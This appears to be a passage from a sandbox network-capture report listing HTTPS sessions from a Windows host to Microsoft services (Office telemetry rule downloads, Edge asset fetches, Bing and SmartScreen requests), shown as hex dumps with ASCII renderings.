26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-11-11 18:17:53 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-11-11 18:17:53 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-11-11 18:17:53 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 27f4d8c4-701e-0032-2dd5-33a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968vwdr7hC1EWRsh3w000000056000000000kykf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1c99ed40-601e-0097-39d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968cdxdrhC1EWRg0en000000057g00000000f23d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 7f4584eb-c01e-008e-75d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968nxc96hC1EWRspw800000005500000000004p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49876	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:54 UTC	556	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 3f44444a-801e-0076-1066-34ecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181754Z-174f7845968jrjrxhC1EWRmmrs00000005g0000000005h5c Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	15828	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-11 18:17:54 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 63eb2b55-501e-00a3-51d5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181754Z-174f7845968pf68xhC1EWRr4h800000005h000000000egkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49878	23.33.40.155	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:54 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 67324a523c554784b951c2ae6738fb48 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-w+BVLbFKDR/EGZXtoRv78MPrrG/EBIj2aDkWQsdYzFs='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Mon, 11 Nov 2024 18:17:54 GMT Connection: close Set-Cookie: MUID=23907D2A1D4468C21414681E1C4A693B; domain=.bing.com; expires=Sat, 06-Dec-2025 18:17:54 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=23907D2A1D4468C21414681E1C4A693B; expires=Sat, 06-Dec-2025 18:17:54 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=1C7ACFB635CA6DD916A5DA8234C46C7B; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sat, 06-Dec-2025 18:17:54 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Wed, 11-Nov-2026 18:17:54 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Wed, 11-Nov-2026 18:17:54 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=D7C32153E19349F4870AEC185D75113A&dmnchg=1; domain=.bing.com; expires=Wed, 11-Nov-2026 18:17:54 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241111; domain=.bing.com; expires=Wed, 11-Nov-2026 18:17:54 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Wed, 11-Nov-2026 18:17:54 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=1C7ACFB635CA6DD916A5DA8234C46C7B; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.c9292117.1731349074.1c64a4b9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49877	4.150.155.223	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSFlyRHBVQnM3NW52cGU3M1YvVlRUdz09IiwgImhhc2giOiJkbkNFaEE2czJDOD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
